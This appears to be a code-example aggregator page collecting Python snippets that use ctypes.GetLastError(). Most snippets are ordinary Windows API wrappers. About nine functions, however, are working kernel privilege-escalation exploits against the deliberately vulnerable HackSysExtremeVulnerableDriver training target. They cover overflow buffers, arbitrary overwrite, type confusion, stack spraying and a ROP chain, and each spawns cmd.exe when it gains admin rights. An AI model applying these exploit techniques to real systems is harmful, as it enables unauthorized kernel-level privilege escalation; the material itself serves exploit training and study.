我们从Python开源项目中,提取了以下49个代码示例,用于说明如何使用ctypes.GetLastError()。
def window__activate(hwnd): # Give the window the focus. This is the Microsoft Magic Focus Dance. current_hwnd = windll.user32.GetForegroundWindow() current_thread_id = windll.kernel32.GetCurrentThreadId() thread_process_id = windll.user32.GetWindowThreadProcessId(current_hwnd, None) if thread_process_id != current_thread_id: res = windll.user32.AttachThreadInput(thread_process_id, current_thread_id, True) # ERROR_INVALID_PARAMETER means that the two threads are already attached. if res == 0 and GetLastError() != ERROR_INVALID_PARAMETER: # TODO better logging print("WARN: could not attach thread input to thread {0} ({1})".format(thread_process_id, GetLastError())) return True res = windll.user32.SetWindowPos(hwnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE) if res == 0: return False # At this point, the window hwnd is valid, so we don't need to fail out # if the results are non-zero. Some of these will not succeed due to # attributes of the window, rather than the window not existing. windll.user32.SetWindowPos(hwnd, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_NOSIZE | SWP_NOMOVE) windll.user32.AttachThreadInput(thread_process_id, current_thread_id, False) windll.user32.SetForegroundWindow(hwnd) windll.user32.SetFocus(hwnd) windll.user32.SetActiveWindow(hwnd) return True
def open(self): """ Open device to query properties :return: context """ handle = _setupapi.SetupDiCreateDeviceInfoList(None, None) if handle == -1: err_no = ctypes.GetLastError() raise WindowsError(err_no, ctypes.FormatError(err_no)) try: dev_info = DeviceInfoData() if not _setupapi.SetupDiOpenDeviceInfoW(handle, ctypes.create_unicode_buffer(self._instance_id), None, DIOD_INHERIT_CLASSDRVS, ctypes.byref(dev_info)): err_no = ctypes.GetLastError() raise WindowsError(err_no, ctypes.FormatError(err_no)) self._handle = (handle, dev_info, self._handle) # Stack yield self finally: if self._handle is not None and \ self._handle[0] == handle: # If last handle is opened in this function, pop it self._handle = self._handle[2] _setupapi.SetupDiDestroyDeviceInfoList(handle) # Close handle
def get_property_keys(self): """ Get all device property keys :return: Iterable of device property keys """ if self._handle is None: with self.open(): return self.get_property_keys() handle, dev_info, _ = self._handle required_size = ctypes.c_ulong() if not _setupapi.SetupDiGetDevicePropertyKeys(handle, ctypes.byref(dev_info), None, 0, ctypes.byref(required_size), 0): err_no = ctypes.GetLastError() if err_no == 122: # ERROR_INSUFFICIENT_BUFFER # noinspection SpellCheckingInspection devpkeys = (DevicePropertyKey * required_size.value)() if _setupapi.SetupDiGetDevicePropertyKeys(handle, ctypes.byref(dev_info), ctypes.byref(devpkeys), required_size.value, None, 0): return list(devpkeys) err_no = ctypes.GetLastError() raise WindowsError(err_no, ctypes.FormatError(err_no)) return []
def trigger_integer_overflow(): dwReturn = c_ulong() driver_handle = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000,0, None, 0x3, 0, None) if not driver_handle or driver_handle == -1: print "[!] Driver handle not found : Error " + str(ctypes.GetLastError()) sys.exit() # [-- BUFFER PADDING --][-- EXTRA PADDING --][-- SHELLCODE PTR --][-- STRING TERMINATOR --] print "[+] Constructing overflow string" evil_input = "A" * 0x800 + "BBBB" * 10 + struct.pack("<L",heap_alloc_payload()) + struct.pack("<L",0xBAD0B0B0) evil_size = len(evil_input) evil_input_ptr = id(evil_input) + 20 print "[+] Buf size: %d" % evil_size einput = create_string_buffer(evil_input, evil_size) print "[+] Triggering vuln .." kernel32.DeviceIoControl(driver_handle, 0x222027, evil_input_ptr, 0xFFFFFFFF, None, 0,byref(dwReturn), None) if shell.IsUserAnAdmin(): print "[*] Enjoy Elevated Privs !\r\n" os.system('cmd.exe') else: print "[-] Exploit did not work. Re-run it!"
def trigger_nullpointer_dereference(): dwReturn = c_ulong() driver_handle = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000,0, None, 0x3, 0, None) if not driver_handle or driver_handle == -1: print "[!] Driver handle not found : Error " + str(ctypes.GetLastError()) sys.exit() NtAllocateVirtualMemory_shellcode_ptr() magicvalue = struct.pack("<L", 0xBAD0B0B1) #as long as it's not 0xBAD0B0B0 magicvalue_size = len(magicvalue) magicvalue_ptr = id(magicvalue) + 20 dev_ioctl = kernel32.DeviceIoControl(driver_handle, 0x22202B, magicvalue_ptr, magicvalue_size, None, 0,byref(dwReturn), None) if shell.IsUserAnAdmin(): print "[*] Enjoy Elevated Privs !\r\n" os.system('cmd.exe') else: print "[-] Exploit did not work. Re-run it!"
def trigger_stack_overflow(): dwReturn = c_ulong() driver_handle = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000,0, None, 0x3, 0, None) if not driver_handle or driver_handle == -1: print "[!] Driver handle not found : Error " + str(ctypes.GetLastError()) sys.exit() print "[+] Constructing malicious buffer" evil_input = "\x41" * 2080 + struct.pack("<L",heap_alloc_payload()) evil_size = len(evil_input) evil_input_ptr = id(evil_input) + 20 print "[+] Buf size: %d" % evil_size print "[+] Sending malicious buffer" print "[+] Triggering vuln .." kernel32.DeviceIoControl(driver_handle, 0x222003, evil_input_ptr, evil_size, None, 0,byref(dwReturn) , None) if shell.IsUserAnAdmin(): print "[*] Enjoy Elevated Privs !\r\n" os.system('cmd.exe') else: print "[!] Exploit did not work. Re-run it!"
def trigger_stack_overflow_GS(): dwReturn = c_ulong() driver_handle = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000,0, None, 0x3, 0, None) if not driver_handle or driver_handle == -1: print "[!] Driver handle not found : Error " + str(ctypes.GetLastError()) sys.exit() buffer_ptr, buffer_size = create_map_file() print "[+] Sending malicious buffer" print "[+] Triggering vuln .." # Note buffer_size + 4 : +4 resides outside the mapped file to trigger an exception when memcpy the region # before GS check, which BSODs box kernel32.DeviceIoControl(driver_handle, 0x222007, buffer_ptr, buffer_size + 4, None, 0,byref(dwReturn) , None) if shell.IsUserAnAdmin(): print "[*] Enjoy Elevated Privs !\r\n" os.system('cmd.exe') else: print "[!] Exploit did not work. Re-run it!"
def trigger_uninitialized_heap_variable(): dwReturn = c_ulong() driver_handle = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000,0, None, 0x3, 0, None) if not driver_handle or driver_handle == -1: print "[!] Driver handle not found : Error " + str(ctypes.GetLastError()) sys.exit() magicvalue = struct.pack('<I', 0xBAD0B0B1) magicvalue_ptr = id(magicvalue) + 20 magicvalue_size = len(magicvalue) tainting_lookaside() print "[+] Triggering vuln .." kernel32.DeviceIoControl(driver_handle, 0x00222033, magicvalue_ptr, magicvalue_size, None, 0,byref(dwReturn), None) if shell.IsUserAnAdmin(): print "[*] Enjoy Elevated Privs !\r\n" os.system('cmd.exe') else: print "[-] Exploit did not work. Re-run it!"
def fcntl(fd, op, arg=0): if op == F_GETFD or op == F_GETFL: return 0 elif op == F_SETFD: # Check that the flag is CLOEXEC and translate if arg == FD_CLOEXEC: success = SetHandleInformation(fd, HANDLE_FLAG_INHERIT, arg) if not success: raise ctypes.GetLastError() else: raise ValueError("Unsupported arg") #elif op == F_SETFL: ## Check that the flag is NONBLOCK and translate #if arg == os.O_NONBLOCK: ##pass #result = ioctlsocket(fd, FIONBIO, 1) #if result != 0: #raise ctypes.GetLastError() #else: #raise ValueError("Unsupported arg") else: raise ValueError("Unsupported op")
def _monitor(self): buff = ctypes.create_string_buffer(_BUFF_SIZE) while not self._stop.isSet(): size_returned = ctypes.c_ulong(0) result = ctypes.windll.kernel32.ReadDirectoryChangesW( self._directory_handle, buff, ctypes.c_ulong(_BUFF_SIZE), True, # recursive. ctypes.c_ulong(_FILE_NOTIFY_CHANGE_ANY), ctypes.byref(size_returned), None, None) # this is a blocking call. if result == 0 and ctypes.GetLastError() == _ERROR_NOTIFY_ENUM_DIR: logging.warning('Buffer overflow while monitoring for file changes.') # we need to notify that something changed anyway with self._lock: self._change_set |= {'Unknown file'} if result != 0 and size_returned.value != 0: additional_changes = _parse_buffer(buff) with self._lock: self._change_set |= additional_changes self._change_event.set()
def _send_msg(self, msgId, wparam=0, lparam=0): """ A util method to send a simple message to a window. Lazy init is supported. """ for i in range(2): try: ctypes.windll.kernel32.SetLastError(0) result = ctypes.windll.user32.SendMessageW( self.wa_hwnd, msgId, wparam, lparam) winerr = ctypes.GetLastError() except Exception: return None if winerr == 0: return result elif winerr == WinampRemote._WINERR_INVALID_WINDOW_HANDLE: try: # we've lost winamp, try to find it a last time if self._find_winamp(): continue except: pass return None return None
def _read_remote_string(self, address, as_unicode=True): """Reads a string from Winamp's memory address space.""" if not self.wa_hproc: #print("Trying to read Winamp's memory without having found any instance!") return None buflen = 1024 if as_unicode: buffer = ctypes.create_unicode_buffer(buflen) else: buffer = ctypes.create_string_buffer(buflen) bytes_read = ctypes.c_size_t(0) if not ctypes.windll.kernel32.ReadProcessMemory( self.wa_hproc, address, buffer, buflen, ctypes.byref(bytes_read)): winerr = ctypes.GetLastError() #print( # "Failed to read memory from Winamp's memory space:", # ctypes.FormatError(winerr)) return None return buffer.value
def get_process_image_path(proc_id): """ Return the full path of the PE image of the given process ID. Raises a OSError exception on error. """ # get process handle # PROCESS_QUERY_INFORMATION = 0x400 hproc = ctypes.windll.kernel32.OpenProcess(0x400, False, proc_id) if not hproc: raise ctypes.WinError() # get image path # MAX_PATH is 260 but we're using the Unicode variant of the API max_length = 1024 length = ctypes.c_ulong(max_length) buff = ctypes.create_unicode_buffer(max_length) ctypes.windll.kernel32.SetLastError(0) res = ctypes.windll.kernel32.QueryFullProcessImageNameW( hproc, 0, buff, ctypes.byref(length)) error = ctypes.GetLastError() ctypes.windll.kernel32.CloseHandle(hproc) ctypes.windll.kernel32.SetLastError(error) if not res: raise ctypes.WinError() return buff.value
def set_close_exec(fd): success = SetHandleInformation(fd, HANDLE_FLAG_INHERIT, 0) if not success: raise ctypes.GetLastError()
def _attach_message_queue_to_thread(current_hwnd): current_thread_id = windll.kernel32.GetCurrentThreadId() thread_process_id = windll.user32.GetWindowThreadProcessId(current_hwnd, None) if thread_process_id != current_thread_id: res = windll.user32.AttachThreadInput(thread_process_id, current_thread_id, True) # ERROR_INVALID_PARAMETER means that the two threads are already attached. if res == 0 and GetLastError() != ERROR_INVALID_PARAMETER: # TODO better logging print("WARN: could not attach thread input to thread {0} ({1})".format(thread_process_id, GetLastError())) return True windll.user32.AttachThreadInput(thread_process_id, current_thread_id, False) return False
def pipe_non_blocking_is_error_blocking(ex): if not isinstance(ex, PortableBlockingIOError): return False from ctypes import GetLastError ERROR_NO_DATA = 232 return (GetLastError() == ERROR_NO_DATA)
def __init__(self, guid="{00000000-0000-0000-0000-000000000000}"): super().__init__() if isinstance(guid, str): ret = _ole32.CLSIDFromString(ctypes.create_unicode_buffer(guid), ctypes.byref(self)) if ret < 0: err_no = ctypes.GetLastError() raise WindowsError(err_no, ctypes.FormatError(err_no), guid) else: ctypes.memmove(ctypes.byref(self), bytes(guid), ctypes.sizeof(self))
def __str__(self): s = ctypes.c_wchar_p() ret = _ole32.StringFromCLSID(ctypes.byref(self), ctypes.byref(s)) if ret < 0: err_no = ctypes.GetLastError() raise WindowsError(err_no, ctypes.FormatError(err_no)) ret = str(s.value) _ole32.CoTaskMemFree(s) return ret
def trigger_arbitrary_overwrite(): dwReturn = c_ulong() driver_handle = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000,0, None, 0x3, 0, None) if not driver_handle or driver_handle == -1: print "[!] Driver handle not found : Error " + str(ctypes.GetLastError()) sys.exit() # [ -- WHAT (Shellcode pointer) -- ] [ -- WHERE (HDT_kernel_address + 4)-- ] write_what = heap_alloc_payload() write_where = get_HDT_kernel_address() + 4 write_what_ptr = c_void_p(write_what) evil_input = struct.pack("<L", addressof(write_what_ptr)) + struct.pack("<L", write_where) evil_input_ptr = id(evil_input) + 20 evil_size = len(evil_input) print "[+] Writing 0x%X at address 0x%X" % (write_what, write_where) kernel32.DeviceIoControl(driver_handle, 0x22200B, evil_input_ptr, evil_size, None, 0,byref(dwReturn), None) print "[+] Calling NtQueryIntervalProfile to trigger vuln" arb = c_ulong(0) ntdll.NtQueryIntervalProfile(0x1337, byref(arb)) if shell.IsUserAnAdmin(): print "[*] Enjoy Elevated Privs !\r\n" os.system('cmd.exe') else: print "[-] Exploit did not work. Re-run it!"
def trigger_uninitialized_stack_variable(): dwReturn = c_ulong() driver_handle = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000,0, None, 0x3, 0, None) if not driver_handle or driver_handle == -1: print "[!] Driver handle not found : Error " + str(ctypes.GetLastError()) sys.exit() magicvalue = struct.pack("<L", 0xBAD0B0B1) #as long as it's not 0xBAD0B0B0 magicvalue_ptr = id(magicvalue) + 20 magicvalue_size = len(magicvalue) print "[+] Buf size: %d" % magicvalue_size einput = create_string_buffer(magicvalue, magicvalue_size) # stack spray shellcode_ptr = heap_alloc_payload() print "[+] Spraying stack with address: 0x%X" % shellcode_ptr print "[+] Triggering vuln .." ntdll.NtMapUserPhysicalPages(0, 1024, struct.pack("<L", shellcode_ptr) * 1024) kernel32.DeviceIoControl(driver_handle, 0x22202F, magicvalue_ptr, magicvalue_size, None, 0,byref(dwReturn), None) if shell.IsUserAnAdmin(): print "[*] Enjoy Elevated Privs !\r\n" os.system('cmd.exe') else: print "[-] Exploit did not work. Re-run it!"
def trigger_type_confusion(): dwReturn = c_ulong() driver_handle = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000,0, None, 0x3, 0, None) if not driver_handle or driver_handle == -1: print "[!] Driver handle not found : Error " + str(ctypes.GetLastError()) sys.exit() #### # typedef struct _USER_TYPE_CONFUSION_OBJECT { # ULONG ObjectID; # ULONG ObjectType; # } USER_TYPE_CONFUSION_OBJECT, *PUSER_TYPE_CONFUSION_OBJECT; #### print "[+] Constructing USER_TYPE_CONFUSION_OBJECT" evil_input = "\x41" * 4 + struct.pack("<L",heap_alloc_payload()) evil_input_ptr = id(evil_input) + 20 evil_size = len(evil_input) print "[+] Buf size: %d" % evil_size print "[+] Sending confusion object" print "[+] Triggering vuln .." dev_ioctl = kernel32.DeviceIoControl(driver_handle, 0x222023, evil_input_ptr, evil_size, None, 0,byref(dwReturn) , None) if shell.IsUserAnAdmin(): print "[*] Enjoy Elevated Privs !\r\n" os.system('cmd.exe') else: print "[!] Exploit did not work. Re-run it!"
def trigger_stack_overflow(): dwReturn = c_ulong() driver_handle = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000,0, None, 0x3, 0, None) if not driver_handle or driver_handle == -1: debug_print ("[!] Driver handle not found : Error " + str(ctypes.GetLastError())) sys.exit() base_addresses = get_base_address(["hal.dll", "win32kfull.sys"]) hal_base_address = base_addresses[0] win32kfull_base_address = base_addresses[1] shellcode_ptr = virtual_alloc_payload() debug_print ("[+] Constructing malicious buffer w/ ROP chain") evil_input = "\x41" * 0x808 # junk evil_input += struct.pack("<Q", win32kfull_base_address + 0xD1122) # POP RDX; RETN evil_input += struct.pack("<Q", 0x63000000) # 0x63000000 -> Supervisor Mode evil_input += struct.pack("<Q", hal_base_address + 0xFDB2) # POP RAX; RETN evil_input += struct.pack("<Q", get_pxe_address(shellcode_ptr) - 3) # PTE(shellcode ptr) - 3 evil_input += struct.pack("<Q", hal_base_address + 0x9943) # MOV [RAX], EDX; RETN evil_input += struct.pack("<Q", hal_base_address + 0x19B20) # Invalidate Cache evil_input += struct.pack("<Q", shellcode_ptr) # shellcode ptr evil_size = len(evil_input) evil_input_ptr = id(evil_input) + 32 debug_print ("[+] Buf size: 0x%X" % evil_size) debug_print ("[+] Sending malicious buffer") debug_print ("[+] Triggering vuln ..") kernel32.DeviceIoControl(driver_handle, 0x222003, evil_input_ptr, evil_size, None, 0,byref(dwReturn), None) if shell.IsUserAnAdmin(): debug_print ("[*] Enjoy Elevated Privs !\n") os.system('cmd.exe') else: debug_print ("[!] Exploit did not work. Re-run it!")
def WinError(code=None, descr=None): if code is None: code = ctypes.GetLastError() if descr is None: descr = ctypes.FormatError(code).strip() return WindowsError(code, descr)
def _bool_error_check(result, func, args): if not result: return GetLastError() return 0
def get_last_error(): return ctypes.GetLastError()
def __init__(self, winerr=None): if not winerr: winerr = ctypes.GetLastError() super().__init__(0, ctypes.FormatError(winerr), None, winerr)
def get_window_text(hwnd): """ Wrapper over the GetWindowTextW() Win32 function Raises a OSError exception on error. """ length = ctypes.windll.user32.GetWindowTextLengthW(hwnd) buff = ctypes.create_unicode_buffer(length + 1) ctypes.windll.kernel32.SetLastError(0) res = ctypes.windll.user32.GetWindowTextW(hwnd, buff, length + 1) if not res and ctypes.GetLastError() != 0: raise ctypes.WinError() return buff.value
def process__get_executable_filename(thread_pid): # This only finds processes, not services. GetProcessImageFileName = windll.kernel32.K32GetProcessImageFileNameW GetProcessImageFileName.restype = wintypes.DWORD OpenProcess = windll.kernel32.OpenProcess # OpenProcess.restype = wintypes.HANDLE hproc = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, False, thread_pid) if hproc is None: raise WinError() try: filename = create_unicode_buffer(MAX_FILENAME_LENGTH + 1) # For some reason, this isn't found in Windows 10. res = GetProcessImageFileName(hproc, byref(filename), MAX_FILENAME_LENGTH + 1) if res <= 0: # raise ctypes.WinError() return None return str(filename.value[:res]) finally: windll.kernel32.CloseHandle(hproc) # def shell__open_start_menu(): # # In Windows 7, the start button is part of the desktop? # desktop_hwnd = windll.user32.GetDesktopWindow() # # # FIXME DEBUG # print("DEBUG desktop_hwnd: {0}".format(desktop_hwnd)) # # # Find the "start" button on the tray window # start_hwnd = windll.user32.FindWindowExW(desktop_hwnd, None, 'Button', 'Start') # if (start_hwnd is None or start_hwnd == 0) and GetLastError() != 0: # start_hwnd = windll.user32.FindWindowExW(desktop_hwnd, None, None, 'Start') # if (start_hwnd is None or start_hwnd == 0) and GetLastError() != 0: # # start_hwnd = windll.user32.FindWindowExW(desktop_hwnd, None, 'Button', None) # if start_hwnd is None or start_hwnd == 0: # raise WinError() # print("Start button: {0}".format(start_hwnd)) # # # Send a click message to the button # res = windll.user32.SendMessageW(start_hwnd, BM_CLICK, 0, 0) # if res == 0: # raise WinError()
def window__set_style(hwnd, style_update): """ Update a window's style. "style_update" is a dictionary of style keys that map to either True or False, depending on how the style should be modified. Style values not specified in the update will not be changed. :param hwnd: :param style_update: :return: the original style values (usable as input to this function). """ assert isinstance(style_update, dict) SetWindowLongW = windll.user32.SetWindowLongW SetLastError = windll.kernel32.SetLastError original_style = window__get_style(hwnd) expected_style = dict(original_style) std_style_update = False std_bits = 0 for k, mask in WS_STYLE_BIT_MAP.items(): if k in style_update and original_style[k] != style_update[k]: std_style_update = True expected_style[k] = style_update[k] if style_update[k]: std_bits |= mask elif original_style[k]: std_bits |= mask if std_style_update: SetLastError(0) res = SetWindowLongW(hwnd, GWL_STYLE, std_bits) if res == 0 or GetLastError() != 0: raise WinError() ex_style_update = False ex_bits = 0 for k, mask in WS_EX_STYLE_BIT_MAP.items(): if k in style_update and original_style[k] != style_update[k]: ex_style_update = True expected_style[k] = style_update[k] if style_update[k]: ex_bits |= mask elif original_style[k]: ex_bits |= mask if ex_style_update: SetLastError(0) res = SetWindowLongW(hwnd, GWL_EXSTYLE, ex_bits) if res == 0 or GetLastError() != 0: raise WinError() # Sometimes, it only changed some of the values. # Double check. final_style = window__get_style(hwnd) if expected_style != final_style: # raise OSError("Did not fully set style to {0}; found {1}".format( # expected_style, final_style)) # print("Did not fully set style to {0}; found {1}".format( # expected_style, final_style)) pass return original_style
def _scandir_python(path=unicode('.')): """Like os.listdir(), but yield DirEntry objects instead of returning a list of names. """ # Call FindFirstFile and handle errors if isinstance(path, bytes): is_bytes = True filename = join(path.decode('mbcs', 'strict'), '*.*') else: is_bytes = False filename = join(path, '*.*') data = wintypes.WIN32_FIND_DATAW() data_p = ctypes.byref(data) handle = FindFirstFile(filename, data_p) if handle == INVALID_HANDLE_VALUE: error = ctypes.GetLastError() if error == ERROR_FILE_NOT_FOUND: # No files, don't yield anything return raise win_error(error, path) # Call FindNextFile in a loop, stopping when no more files try: while True: # Skip '.' and '..' (current and parent directory), but # otherwise yield (filename, stat_result) tuple name = data.cFileName if name not in ('.', '..'): if is_bytes: name = name.encode('mbcs', 'replace') yield Win32DirEntryPython(path, name, data) data = wintypes.WIN32_FIND_DATAW() data_p = ctypes.byref(data) success = FindNextFile(handle, data_p) if not success: error = ctypes.GetLastError() if error == ERROR_NO_MORE_FILES: break raise win_error(error, path) finally: if not FindClose(handle): raise win_error(ctypes.GetLastError(), path)